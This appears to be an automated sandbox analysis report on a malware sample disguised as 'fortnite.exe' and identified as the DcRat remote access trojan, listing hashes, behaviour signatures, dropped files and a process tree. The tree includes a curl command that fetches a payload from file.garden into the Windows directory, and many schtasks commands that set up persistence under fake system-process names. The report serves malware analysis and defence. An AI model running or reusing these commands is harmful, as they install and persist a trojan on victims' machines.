Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-11-2024 06:14

General

  • Target

    fortnite.exe

  • Size

    1.3MB

  • MD5

    8d17e6244d984c3c44bd9efa22d90bd3

  • SHA1

    88c8edaa2ea2ed078454e738b1e30c882bbe3ee5

  • SHA256

    5b4c539067dc6db394d2367305e53555c250d636379acb2b384efe3d77738c63

  • SHA512

    bf800abfc7cd57fdc3c2ccd07527ba76f47d6d5426bb2d9107379db74e4b6d07ac4e8b6ff3f468e20a5e5302a01f9c1d39a0fe1bc2af4670bf8a00cab2ffdf1e

  • SSDEEP

    12288:6pqafF/eav6841vwUZF/NmXHBg52Kn4UxCj2AqeMQm6ZQyRWkhuq3nbep3+bKDZs:9Q/PDVQcE2Kn4uGKF6lpC+bKlAtc06L

Malware Config

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Dcrat family
  • Process spawned unexpected child process 18 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4944
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3300
      • C:\Windows\system32\curl.exe
        curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:1820
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4848
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2716
          • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
            "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
            5⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Drops file in Program Files directory
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2852
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Z9oeYTI6lD.bat"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2220
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:4232
                • C:\Windows\system32\w32tm.exe
                  w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                  7⤵
                    PID:3932
                  • C:\BridgeHyperBlocknetdhcp\System.exe
                    "C:\BridgeHyperBlocknetdhcp\System.exe"
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2500
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Downloads\smss.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4528
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default\Downloads\smss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3680
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "smsss" /sc MINUTE /mo 10 /tr "'C:\Users\Default\Downloads\smss.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:720
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:468
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1688
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\BridgeHyperBlocknetdhcp\System.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4868
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3300
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:4572
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Photo Viewer\es-ES\RuntimeBroker.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:3244
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Templates\lsass.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2564
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Users\All Users\Templates\lsass.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:5020
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Templates\lsass.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1468
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2584
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2836
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2720
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 11 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:2856
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1700
      • C:\Windows\system32\schtasks.exe
        schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
        1⤵
        • Process spawned unexpected child process
        • Scheduled Task/Job: Scheduled Task
        PID:1260

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

        Filesize

        253B

        MD5

        4bb32a75d150d0312a4f6b779f0b181a

        SHA1

        03dd7971f5534a9d5871fc936c40b7aa28c58de8

        SHA256

        1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

        SHA512

        91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

      • C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

        Filesize

        1.8MB

        MD5

        8eedebc3e9237f67772e3fc3c3d798ea

        SHA1

        a87e1c10ddbc4c7fdbb69437647f4910216ec689

        SHA256

        2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

        SHA512

        2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

      • C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

        Filesize

        86B

        MD5

        280356ba496d0f7d9a0d88c1e5786d93

        SHA1

        d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

        SHA256

        f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

        SHA512

        0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

      • C:\Users\Admin\AppData\Local\Temp\Z9oeYTI6lD.bat

        Filesize

        213B

        MD5

        4de0b607314a67a4e02e1a17a98d144d

        SHA1

        70cef37578363a1378f2379582250de6751c341d

        SHA256

        301d823227b6501c50009c89bbdf51f2e67fa7b18155af0b7280ba7c3d3e21c9

        SHA512

        9123b3617b8eb24b3db52abec62339f72e7f01960e36448f753d0c8bbc0f30e2edda6b2e47742346ab988d57c50d08e23132977c8e1e44ab07ede9d91faf19ee

      • C:\Windows\Speech\physmeme.exe

        Filesize

        2.1MB

        MD5

        e0216529a1eaed9f919e40074ca84f33

        SHA1

        3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

        SHA256

        48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

        SHA512

        e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

      • memory/2500-46-0x00000000025A0000-0x00000000025A8000-memory.dmp

        Filesize

        32KB

      • memory/2852-15-0x0000000000B70000-0x0000000000D42000-memory.dmp

        Filesize

        1.8MB

      • memory/2852-17-0x0000000002F20000-0x0000000002F2E000-memory.dmp

        Filesize

        56KB

      • memory/2852-19-0x000000001B880000-0x000000001B89C000-memory.dmp

        Filesize

        112KB

      • memory/2852-22-0x000000001BAC0000-0x000000001BAD8000-memory.dmp

        Filesize

        96KB

      • memory/2852-20-0x000000001C5D0000-0x000000001C620000-memory.dmp

        Filesize

        320KB